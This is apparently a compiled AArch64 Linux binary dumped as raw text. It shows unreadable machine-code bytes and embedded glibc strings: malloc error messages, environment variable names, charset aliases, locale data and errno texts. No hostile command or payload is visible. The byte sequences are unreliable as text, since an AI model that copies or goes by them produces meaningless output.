9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9999 99999 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|99M{S6C!@?q@TqTaA|@qz`! h`8 qaT1@Aq`6pA!qSA{¨_a!`M94SA{¨_$ {S[~cAaA@aA_vS@5CCe@2 R?q T qTt5@R{@SA[B_ {S[c\AAR R?AR5KC R@?*qT qT9q*EzATq@TAR R?@4SR*{@SA[BcC_{[ AS!M9A4k bjw8_ q! Ts@Tjt8zszs5jt8B5?@A`Tjs8sB!T AM94SA[B@{Ũ_֡~@СAB\_9_ qAT'@ 9#~~@SA[B@{Ũ_֡A~@aM95!\_9? qaT@ŠAA@SA[B{Ũ_` ?q,TA#|@xc`M9`4_֠a8 qaT@@_{J A_?q,TA$|@c`M9c4x$_֣cxdaa8? qaT_{2 A_AAB"_ _A_A_{c@{è _A_A_)x{SRҵf`53JqT e!@c ?T" @9b9_q`T_qT"@!@c ?TAEE/E7Ebyfy{@SA@)_{@SA@)__ ;{[;Scks!'m/ m7 m? mx_ 5KG@?q`T qTZ *!R*_qaT*{@ABSC[DcEkFsG'Hm/Im7Jm?Km;c$_bRCxңCC˟-\*qTBCA?CC!#!{S[cks!'m/ m7 m? mxwZVqT{@ABSC[DcEkFsG'Hm/Im7Jm?Km!c$_{BCA!C^ !{S[!cks'm/ m7 m? mFx @qTFBCA!C){@ABSC[DcEkFsG'Hm/Im7Jm?Km!c$_!{@S[cks'm/ m7 m? mA {@ABSC[DcEkFsG'Hm/Im7Jm?Km!c$_ִ!xgq@TBCA!C@ R@_+{S[cks+'m/m7m? m ?5qT6q*Ez TsR*{@SA[BcCkDsE'Fm/Gm7Hm?Im+_#@A@"R#Z_ {txSkJT c*k*sbz{*~@*zSaz{@?6@k`z{az;MT~@ku}Ӽ"bz{uJTb7bj|@?@6~@bj|*zSuaz{@?@7 @@cCkDsE@@{Ǩ_* {SS@[cU@tAqT#* **Q1T#@sQqTs~@zs* @R z3sѐqTSA[BcC{Ũ_@q T q TiT(qTT,q@T0q!T@@qAE86@d_q T`4qT qTD@@}@d_$qTR @8@ ǚh?7qhTH76 ǚR@8@ ǚh?7D$x$@x{ {S$*"@9a qT&@9qTRSA{è_ 86 8787q T87* 87*@9?HqT?0qTa@8?HqT?@q!T@9xa@8?HqT@9SA{è_ bj`8R_ qT"@9b5!?qTiTR? qT_*_?kTR_4{?q`TTqAT@@_`4@qT_ @_@q`T{+{S@@y[s*C`qTB"*"*)B@y#"(C#D#RSA_#Z@[B{Ũ_{ [s@ @@yҢ(C*q`T`@ 4ҷckf _TH*?qTF*| 5 a@R?T`@{`@4`@@4a@974b#* ?q@T*e qpS"ҡ;@@ 0?T?@?bT@cCkD @[BsE{Ȩ_b#Rҫ`@{`@5 մ@cCkD @[BsE{Ȩ_b#* {S![@ ` ҟqT*&b"*u qT*#"*dD#RSA_#Z@[B{Ũ_ { @ 4SkBsR7`@4t ˟ T*qT_qT7@"*B@y?qT(CkT@929b"*!_q@T* qpS!Ң?@ 0_T@IT`@s`@5SABkDsE@@{Ȩ_@3By@SABkDsE@{Ȩ_ {S @@@y7(CqT`@4#Ҽ/`@4A@9!6| ˟T*qTb" `@s`@5B#@/@SA@@D{Ȩ_;5`@R@@"!x"`@s`@5wb"*qT*. qpS"ҡ?@@ 0!T7@*/4b"*|{S@9[6w@@ 7`B@yrTiT!A z`@CT>@Azc@BT_T@SA[B{ʨ_ָ @ S  @! 6@ @ AT  ``@HTa@9v@A-76@@!@@SA[B{ʨ_ cT`"sBC#Ҽ/?K@(TTxA z` SҟqT?@*"*ҀG@TTk`"@ T(`" }gKks_O@`@9u@6@B C @K@3?@T`@9 7aB@y+?rO@?@ @;:@| }Ҡ77@j; TTU@ T@@?7"{#@8q@SA[B{ʨ_ַcCkDsE)(CӸ+qTk/C#{K@T|T*sAb zb"^A9YG@"TcCkDsEbBa"@"{# bcx";@! _ Tj`?@h`z" I?3@?@@A@ TO@?@K@W@ ՠ?@y @V@z;"@?qaT!X{!?@O@?@@@@?@K@`@9b@@2kDsE"a`975C ?@S3`"8aX{!9y @ҢcC+@w@XD(@? @@z@ T?dT0@yфR  ҈r/ kTqc`Td@qTd@E@$Tf@c!!J!T ?T! @ @T@. 0 ,{` @4 i`8q@T R@{Ȩ_R_ք BE Tǀ @@ ՟|=Tƀ Ā _( ҵ[cV W@@9qT**K @9qT@9q@Tb@c@#@Ҡ;C#`ˇҟq!Tb@#*B ,'@ R[BcCa @ǀ @_!T @G@@cT#T@@T @[BcC**#*'@ @b@aTcT!#}hcIT?T#cAe}hITbTAӡ}h!?TT_d}h)T  qT*V* ңC+@b@_BTvt R @[BcC*-ATƀ @ %&G#%{S  ՀA@a5b R @SA{è ՠ A@#B4_`!R_ Հ@D4_ `@B5_ @A5_{  @{¨ҷE&G#%{S  ՀA@a5b R @SA{è ՠ A@#B4_`!R_  { ҩ @{¨ { @4G   @` @T>a@ T@s‚ S@B@Tbs@a@9`@7!TG`@@  @A @{è_a@Gu@A @{è_ֵG  մ @{è_a@A @ ը @A5_{{{#" @`@5!R`#;{C 7;@E7@ @A#@{Ȩ_ַ G`@  @(s@`@TG  `@9b@7`B@y(CҿqTa"bB*C"*d+@ @@ ': XS@`@@@@@@b@?T @?T@``s4@'@ҦGW @cC'@ ˄@ ճ @cC'@qT_q T)T_qT_@qT_qTb4_@qT_{ @q T q TiT(qTT,q@T0q!T@@qAE86@d_q T`4qT qTD@@}@d_$qTR @8@ ǚh?7qhTH76 ǚR@8@ ǚh?7D$x$@x{ {qWT`R{ʨ_ց7R{ʨ_ִo tj;@9q T?`@9sc9qTRb@8@@ !cb?7cG`@9sg9R b@8@@ !cb?7cSK:W@K@_q? Tckc պgB9*C*ZgB9*9*PgB9*/*F`87/@;@TSAR[BcCkD{ʨ_ִAR@**+3@TK@TSAR[BcCkDxG7@`?@TR!RRSA[BcCkD\SAR[B\{[#`D"(C@OS  ՀB5@ Ҡc?*5s@`@B BC@`EyPA7yKҠc?*@4@@RD  9(*O@!@ASA[B@#@{ʨ_ָ/{S"G3b" a@"@T` @"G@!"@@Tt9!2`2G2@@SA{è_{ G a @A `@t@@ @{¨_{!/\@@T>@` ҵ[@@T>@T:@hssb{ @? Tv @[B:@qtD` Հ@j @5@f@{èb@ @@{è[{!RS@@9@ `Z@OsV@SA{¨_{ ASҶҗ  @_qT"hs @EV_TG @?֡AsTSABa @#A  @ [ @@{Ĩ{S@@`@T`@t@@9qATSA{¨_`@@{GG!2G@dB{!-{_!!`GAAT_pB"@5`!@_{ @@z @{¨ {! 5 `~B~ @{¨_{c`>_S|@sxt T 8!xt`B"xt"x4@?B"B!ztTz4B3`@t@` @@Tt@`@SA@{Ĩ_ֶB{ FS@!GC;"`RBFaha!@ F@!GC;"RBFaha!@ F@!GC;"RBFaha!@ F@!GC;" RBFaha!@ F@!GC;"@RBFaha!@ F@!GC;"RBFaha!@x F@!GC;"RBFaha!@l F@a!GC;RBFaha!@`F@a!GC; RBFaha!@TG@a!GC;@RBGaha!@HG@a!GC;`RB Gaha!@<G@a!GC;RBGaha!@0sB"!`Z@`TtZSA{¨{BSU ն@B@T@@a ?ր@2qTs"v@S@S@@Ta@`@_s @3a@`@t @4SA@@{Ĩ_#! cBR!@ { sU !2` @ @{¨_{@AS ht@{@"TSA@{èp@{è_{@4R*@{¨_ֳ  r T`@@D @!CA!?TP @* @@{¨_R @{SGGT @9G?aT cxR!@;E!"H {{_EPEmmap%sDONE@@ @`EQhE CxE CE`QBE../csu/libc-start.c__ehdr_start.e_phentsize == sizeof *GL(dl_phdr)unexpected reloc type in static binaryFATAL: kernel too old FATAL: cannot determine kernel version __libc_start_mainfalkorthunderxt88thunderx2t99thunderx2t99p1generic/dev/full/dev/null: %s%s%s:%u: %s%sAssertion `%s' failed. %nUnexpected error. OUTPUT_CHARSETcharset= %s/%sCLANGUAGEPOSIX/usr/share/localemessagesiouxIloldlilulxlXrce/locale.aliasLC_MESSAGES/usr/share/locale-langpackˣˣ75.22%[DFFFFFFFFFF2?22.$ )-$                        8EEplural=nplurals=PGXGXGcxa_atexit.cl != NULL__new_exitfn%s%s%s w+hGPGhGPGhGPGhGPGhGPGhGPGwfileops.cstatus == __codecvt_partial_IO_wfile_underflowhGPGLIBC_FATAL_STDERR_/dev/tty [EFatal error: glibc detected an invalid stdio handle hGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPG,ccs=fileops.cfcts.towc_nsteps == 1fcts.tomb_nsteps == 1_IO_new_file_fopenhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGhGPGstrops.coffset >= oldendenlarge_userbuf%s%s%s:%u: %s%sAssertion `%s' failed. arena.creplaced_arena->attached_threads > 0malloc: top chunk is corruptmalloc_consolidate(): invalid chunk sizecorrupted size vs. prev_sizecorrupted double-linked listcorrupted double-linked list (not small)malloc.cchunk_is_mmapped (p)munmap_chunk(): invalid pointer((size + offset) & (GLRO (dl_pagesize) - 1)) == 0aligned_OK (chunk2mem (p))prev_size (p) == offsetresult->attached_threads == 0p->attached_threads == 0 free(): invalid pointerfree(): invalid sizetc_idx < TCACHE_MAX_BINSfree(): invalid next size (fast)double free or corruption (fasttop)invalid fastbin entry (free)double free or corruption (top)double free or corruption (out)double free or corruption (!prev)free(): invalid next size (normal)free(): corrupted unsorted chunksheap->ar_ptr == avchunksize_nomask (p) == (0 | PREV_INUSE)new_size > 0 && new_size < (long) (2 * MINSIZE)new_size > 0 && new_size < HEAP_MAX_SIZE((unsigned long) ((char *) p + new_size) & (pagesz - 1)) == 0((char *) p + new_size) == ((char *) heap + heap->size)/proc/sys/vm/overcommit_memory((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)break adjusted to free malloc spacecorrection >= 0((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0malloc(): memory corruption (fast)malloc(): smallbin double linked list corruptedmalloc(): memory corruptionchunk_main_arena (bck->bk)chunk_main_arena (fwd)tcache->entries[tc_idx] > 0malloc(): corrupted unsorted chunksbit != 0(unsigned long) (size) >= (unsigned long) (nb)malloc(): corrupted unsorted chunks 2newsize >= nb && (((unsigned long) (chunk2mem (p))) % alignment) == 0realloc(): invalid old size!chunk_is_mmapped (oldp)realloc(): invalid next sizencopies >= 3(unsigned long) (newsize) >= (unsigned long) (nb)realloc(): invalid pointer!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))!p || chunk_is_mmapped (mem2chunk (p)) || &main_arena == arena_for_chunk (mem2chunk (p))!p || chunk_is_mmapped (mem2chunk (p)) || ar_ptr == arena_for_chunk (mem2chunk (p))a->attached_threads > 0!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem))nclears >= 3(char *) chunk2mem (p) + 4 * SIZE_SZ <= paligned_mem(char *) p + size > paligned_memmalloc_check_get_size: memory corruptionArena %d: system bytes = %10u in use bytes = %10u Total (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu mtrim__libc_calloc_mid_memalign__libc_reallocremove_from_free_listdetach_arenaget_free_list__libc_malloc_int_reallocmremap_chunkmunmap_chunkheap_trim_int_freesysmalloctcache_gettcache_put_int_malloc_int_memalignarena_thread_freeresUnknown error FxFFHFAHFFAAANSI_X3.4-1968//TRANSLITmbsrtowcs_l.c((wchar_t *) data.__outbuf)[-1] == L'\0'result > 0__mbsinit (data.__statep)status == __GCONV_OK || status == __GCONV_EMPTY_INPUT || status == __GCONV_ILLEGAL_INPUT || status == __GCONV_INCOMPLETE_INPUT || status == __GCONV_FULL_OUTPUT__mbsrtowcs_lwso" % >A ..EK(Tdk:W Ha(  1 N+"%7Q4^[h   + /proc/sys/kernel/ngroups_max/proc/sys/kernel/rtsig-max...../sysdeps/unix/sysv/linux/getcwd.cerrno != ERANGE || buf != NULL || size != 0__getcwd../sysdeps/unix/sysv/linux/getpagesize.cGLRO(dl_pagesize) != 0__getpagesize../sysdeps/unix/sysv/linux/getsysstats.c*cp <= *re/sys/devices/system/cpu/online/proc/statcpu/proc/cpuinfoprocessor/sys/devices/system/cpunext_lineThe futex facility returned an unexpected error code.stack smashing detected*** %s ***: %s terminated GLIBC_TUNABLES/etc/suid-debugglibc.elision.skip_lock_after_retriesglibc.malloc.trim_thresholdMALLOC_TRIM_THRESHOLD_glibc.malloc.perturbMALLOC_PERTURB_glibc.elision.triesglibc.elision.enableglibc.elision.skip_lock_busyglibc.malloc.top_padMALLOC_TOP_PAD_glibc.tune.cpuglibc.malloc.mmap_maxMALLOC_MMAP_MAX_glibc.elision.skip_trylock_internal_abortglibc.malloc.tcache_unsorted_limitglibc.elision.skip_lock_internal_abortglibc.tune.hwcap_maskLD_HWCAP_MASKglibc.malloc.arena_maxMALLOC_ARENA_MAXglibc.malloc.mmap_thresholdMALLOC_MMAP_THRESHOLD_glibc.malloc.tcache_countglibc.malloc.arena_testMALLOC_ARENA_TESTglibc.malloc.tcache_maxglibc.malloc.checkMALLOC_CHECK_/var/tmp/var/profileGCONV_PATHGETCONF_DIRHOSTALIASESLD_AUDITLD_DEBUGLD_DEBUG_OUTPUTLD_DYNAMIC_WEAKLD_HWCAP_MASKLD_LIBRARY_PATHLD_ORIGIN_PATHLD_PRELOADLD_PROFILELD_SHOW_AUXVLD_USE_LOAD_BIASLOCALDOMAINLOCPATHMALLOC_TRACENIS_PATHNLSPATHRESOLV_HOST_CONFRES_OPTIONSTMPDIRTZDIRfpasimdevtstrmaespmullsha1sha2crc32atomicsfphpasimdhpcpuidasimdrdmjscvtfcmalrcpcdcpopsha3sm3sm4asimddpsha512sveLD_WARNsetup-vdso.hph->p_type != PT_TLSget-dynamic-info.hinfo[DT_PLTREL]->d_un.d_val == DT_RELAinfo[DT_RELAENT]->d_un.d_val == sizeof (ElfW(Rela)) WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1. out of memory LD_LIBRARY_PATHLD_BIND_NOWLD_BIND_NOTLD_DYNAMIC_WEAKLD_PROFILE_OUTPUTLD_ASSUME_KERNELelf_get_dynamic_infosetup_vdso/proc/sys/kernel/osrelease,IGNORE//gconv.cirreversible != NULLoutbuf != NULL && *outbuf != NULL__gconvgconv_db.cstep->__end_fct == NULL-__gconv_release_stepUCS4//ISO-10646/UCS4/UCS-4//ISO-10646/UCS4/UCS-4BE//ISO-10646/UCS4/CSUCS4//ISO-10646/UCS4/ISO-10646//ISO-10646/UCS4/10646-1:1993//ISO-10646/UCS4/10646-1:1993/UCS4/ISO-10646/UCS4/OSF00010104//ISO-10646/UCS4/OSF00010105//ISO-10646/UCS4/OSF00010106//ISO-10646/UCS4/WCHAR_T//INTERNALUTF8//ISO-10646/UTF8/UTF-8//ISO-10646/UTF8/ISO-IR-193//ISO-10646/UTF8/OSF05010001//ISO-10646/UTF8/ISO-10646/UTF-8/ISO-10646/UTF8/UCS2//ISO-10646/UCS2/UCS-2//ISO-10646/UCS2/OSF00010100//ISO-10646/UCS2/OSF00010101//ISO-10646/UCS2/OSF00010102//ISO-10646/UCS2/ANSI_X3.4//ANSI_X3.4-1968//ISO-IR-6//ANSI_X3.4-1968//ANSI_X3.4-1986//ANSI_X3.4-1968//ISO_646.IRV:1991//ANSI_X3.4-1968//ASCII//ANSI_X3.4-1968//ISO646-US//ANSI_X3.4-1968//US-ASCII//ANSI_X3.4-1968//US//ANSI_X3.4-1968//IBM367//ANSI_X3.4-1968//CP367//ANSI_X3.4-1968//CSASCII//ANSI_X3.4-1968//OSF00010020//ANSI_X3.4-1968//UNICODELITTLE//ISO-10646/UCS2/UCS-2LE//ISO-10646/UCS2/UCS-2BE//UNICODEBIG//:gconv_conf.celem != NULLcwd != NULL/usr/lib/aarch64-linux-gnu/gconvmodulegconv-modules__gconv_get_pathISO-10646/UCS4/=INTERNAL->ucs4=ucs4->INTERNALUCS-4LE//=INTERNAL->ucs4le=ucs4le->INTERNALISO-10646/UTF8/=INTERNAL->utf8=utf8->INTERNALISO-10646/UCS2/=ucs2->INTERNAL=INTERNAL->ucs2ANSI_X3.4-1968//=ascii->INTERNAL=INTERNAL->asciiUNICODEBIG//=ucs2reverse->INTERNAL=INTERNAL->ucs2reverseF(AFA FA8FA`FXApFBAF@BFBFAAFAFxB F$Bgconv_builtin.ccnt < sizeof (map) / sizeof (map[0])__gconv_get_builtin_trans../iconv/skeleton.coutbufstart == NULLinend - *inptrp < 4gconv_simple.c*outptrp + 4 > outend../iconv/loop.c(state->__count & 7) <= sizeof (state->__value)inptr - bytebuf > (state->__count & 7)inend != &bytebuf[MAX_NEEDED_INPUT]inend - inptr > (state->__count & ~7)inend - inptr <= sizeof (state->__value)outbuf == outerrnstatus == __GCONV_FULL_OUTPUTch != 0xc0 && ch != 0xc1internal_ucs2reverse_loop_single__gconv_transform_internal_ucs2reverseucs2reverse_internal_loop_single__gconv_transform_ucs2reverse_internalinternal_ucs2_loop_single__gconv_transform_internal_ucs2ucs2_internal_loop_single__gconv_transform_ucs2_internalutf8_internal_loop_single__gconv_transform_utf8_internalinternal_utf8_loop_single__gconv_transform_internal_utf8internal_ascii_loop_single__gconv_transform_internal_ascii__gconv_transform_ascii_internalucs4le_internal_loop__gconv_transform_ucs4le_internal__gconv_transform_internal_ucs4le__gconv_transform_ucs4_internal__gconv_transform_internal_ucs4GCONV_PATH/usr/lib/aarch64-linux-gnu/gconv/gconv-modules.cachegconv_dl.cobj->counter > 0found->handle == NULLgconvgconv_initgconv_enddo_release_shlib__gconv_find_shlibp6G(F`#G %G%G"G1G1Gx2GP3G3G4G   LC_COLLATELC_CTYPELC_MONETARYLC_NUMERICLC_TIMELC_MESSAGESLC_PAPERLC_NAMELC_ADDRESSLC_TELEPHONELC_MEASUREMENTLC_IDENTIFICATION +3?HP[hwWBLOCPATH(F %G%Gp6G`#G"G1G1Gx2GP3G3G4Gn- /../LC_ALLLANGfindlocale.clocale_codeset != NULL_nl_find_locale/usr/lib/localeV. %F$FH"F&F$F0"F "F"F!F0"F@'F!F    loadlocale.ccategory == LC_CTYPE/SYS__nl_intern_locale_dataloadarchive.cheadmap.len == archive_stat.st_sizearchmapped == &headmap_nl_archive_subfreeres_nl_load_locale_from_archive/usr/lib/locale/locale-archiveupperloweralphadigitxdigitspaceprintgraphblankcntrlpunctalnumtouppertolowerxEV@F6F0F>~~~~     !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~     `     ` (C)<<-(R)u,>> 1/4 1/2 3/4 AExssaeIJij'nOEoesLJLjljNJNjnjDZDzdz'^'`_:~ -------'','"",,"+o...... ``````<>!!/???!!? C=RsEURINRa/ca/sCc/oc/ugHHHhIILlNNoPQRRRTEL(TM)ZOhmZBCeeEFMoiDdeij 1/3 2/3 1/5 2/5 3/5 4/5 1/6 5/6 1/8 3/8 5/8 7/8 1/IIIIIIIVVVIVIIVIIIIXXXIXIILCDMiiiiiiivvviviiviiiixxxixiilcdm<--><-><==><=>-/\*|:~<=>=<<>><<<>>>NULSOHSTXETXEOTENQACKBELBSHTLFVTFFCRSOSIDLEDC1DC2DC3DC4NAKSYNETBCANEMSUBESCFSGSRSUSSPDEL_NL(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(A)(B)(C)(D)(E)(F)(G)(H)(I)(J)(K)(L)(M)(N)(O)(P)(Q)(R)(S)(T)(U)(V)(W)(X)(Y)(Z)(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(0)-|+++++++++o::====== =(21)(22)(23)(24)(25)(26)(27)(28)(29)(30)(31)(32)(33)(34)(35)(36)(37)(38)(39)(40)(41)(42)(43)(44)(45)(46)(47)(48)(49)(50)hPadaAUbaroVpcpAnAuAmAkAKBMBGBcalkcalpFnFuFugmgkgHzkHzMHzGHzTHzulmldlklfmnmummmcmkmmm^2cm^2m^2km^2mm^3cm^3m^3km^3m/sm/s^2PakPaMPaGParadrad/srad/s^2psnsusmspVnVuVmVkVMVpWnWuWmWkWMWa.m.BqcccdC/kgCo.dBGyhaHPinKKKMktlmlnloglxmbmilmolPHp.m.PPMPRsrSvWbfffiflffifflst+___,.;:?!(){}#&*+-<>=\$%@!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzACDGJKNOPQSTUVWXYZabcdfhijkmnpqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABDEFGJKLMNOPQSTUVWXYabcdefghijklmnopqrstuvwxyzABDEFGIJKLMOSTUVWXYabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890123456789012345678901234567890123456789 %,37:>BFJNRVY]aeimquy} !%*/49<AFILORUX[^adhknqtw|  #',269=BEHKNQUZ^aejptw{  "',16;@EJNSX\`dhlqtx}  &,28>DJPVZ^bfjnrvz $).38=BGLQV[`ejoty~ #(-27<?BEHKNQTWZ]`einqtz "(-15:>BFJNRVZ^bgmquy} '+/37;?CGKOSW[_cgmquy             " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }          " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j m p s v y |          ! $ ' * - 0 3 6 9 < ? B E H K N Q T W Z ] ` c f i l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }   "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~  #&),/258;>ADGJMPSVY\_behknqtwz}  "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~23IRS                    " $ % & / 5 6 7 9 : < D G H I _ ` a b c !!!!! ! ! ! !!!!!!!!!!!!!!!"!$!&!(!,!-!.!/!0!1!3!4!9!E!F!G!H!I!S!T!U!V!W!X!Y!Z![!\!]!^!_!`!a!b!c!d!e!f!g!h!i!j!k!l!m!n!o!p!q!r!s!t!u!v!w!x!y!z!{!|!}!~!!!!!!!!""""#"6"<"d"e"j"k"""$$$$$$$$$ $ $ $ $ $$$$$$$$$$$$$$$$$$$ $!$#$$$`$a$b$c$d$e$f$g$h$i$j$k$l$m$n$o$p$q$r$s$t$u$v$w$x$y$z${$|$}$~$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%% %%%%%$%,%4%<%%t*u*v*00Q2R2S2T2U2V2W2X2Y2Z2[2\2]2^2_2222222222222222q3r3s3t3u3v333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333) MNOPRTUVWYZ[\_`abcdefhijk  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~    !"#$%&'()*+,-./0123456789;<=>@ABCDFJKLMNOPRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~ 1234567890123456789?libcANSI_X3.4-1968(F %G%Gp6G`#G"G1G1Gx2GP3G3G4GAF2F8FxExExExExExExExExExExExExEUUUUUUUU?33333333*$I$I$qqqE]tEUUUUUUU;;I$I$I8885P^Cy 0 0 0 袋. ,d! p= ףp= ؉؉ %^B{ $I$I$ =B!B|PuPuPqq0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZhGPGhGPGhGPGhGPG vB vB vB vB vB vB vB vB vB vB vB vB vB vBzB{Bp}B~B~B~BxB}B}BTB8ByBB vB vB vB       BBpB0BBBBBBܚBB$B0B,BBBBpB(B0BBBԖBTBHBPBHBBBBBBBBBBBBBܚBB$B0B,BBBBpB(B0BBBԖBTBHBPBHBBBBBBBBBBBBBBB$B0B,BBBBpB(B0BBBԖBTBHBPBHBBBBBBBBBBBBBB`BBBBBBBpB(BBBBBTBBBBBBBBBBBBBBBBBBBBBBBBpB(B0BBBԖBTBHBPBHBBBBBBBBBBBBBBB0BBBBBBpB(B0BBBԖBTBHBPBHBBBBto_outpunct(nil)vfprintf.cs->_flags2 & _IO_FLAGS2_FORTIFY*** invalid %N$ use detected *** (unsigned int) done < (unsigned int) INT_MAX(size_t) done <= (size_t) INT_MAX*** %n in writable segment detected *** __mbsinit (&mbstate)printf_positional_IO_vfprintf_internal(null)hGPGNANINFnaninfNANINFnaninf0.0001../stdio-common/printf_fphex.c*decimal != '\0' && decimalwc != L'\0'__printf_fphexhGPGhGPGhGPGhGPGCCCCCCCCCCCCCCCC C C C CCpCCCLCCD CCCC       C&C%C%C\%C%C$Cp#C4"C!C*C+CP)C!C!C)C)C)C)C$+C CC|&C@&Cx!CC *CCC$CCCCCCCCCC!C*C+CP)C!C!C)C)C)C)C$+C CC|&C@&Cx!CC *CCCCCCCCCCCCCC*C+CP)C!C!C)C)C)C)C$+C CC|&C@&Cx!CC *CCCCCCCCCCCCCC*CCCC!C)C)C)C)CCCCC@&CCCCCCCCCCCCCCCCCCCCC!C)C)C)C)C$+C CC|&C@&Cx!CC *CCCCCCCCCCCCCCCP)CCC!C)C)C)C)C$+C CC|&C@&Cx!CC *CCCC_IO_vfwprintf(nil)(null)RC17= F/-C_TFTTTG;_T%;TTT;;#;; mmmmmmmmmmmmmmmmmmmmmmmmmmmpm@mpppmmmmmmmmmmm7mmmm1mmYmmmmmpm%pppm+mmmm>mmm;mm1to_inpunctvfscanf.ccnt < MB_LEN_MAX_IO_vfscanf_internalSuccessOperation not permittedNo such file or directoryNo such processInterrupted system callInput/output errorNo such device or addressArgument list too longExec format errorBad file descriptorNo child processesResource temporarily unavailableCannot allocate memoryPermission deniedBad addressBlock device requiredDevice or resource busyFile existsInvalid cross-device linkNo such deviceNot a directoryIs a directoryInvalid argumentToo many open files in systemToo many open filesInappropriate ioctl for deviceText file busyFile too largeNo space left on deviceIllegal seekRead-only file systemToo many linksBroken pipeNumerical argument out of domainNumerical result out of rangeResource deadlock avoidedFile name too longNo locks availableFunction not implementedDirectory not emptyToo many levels of symbolic linksNo message of desired typeIdentifier removedChannel number out of rangeLevel 2 not synchronizedLevel 3 haltedLevel 3 resetLink number out of 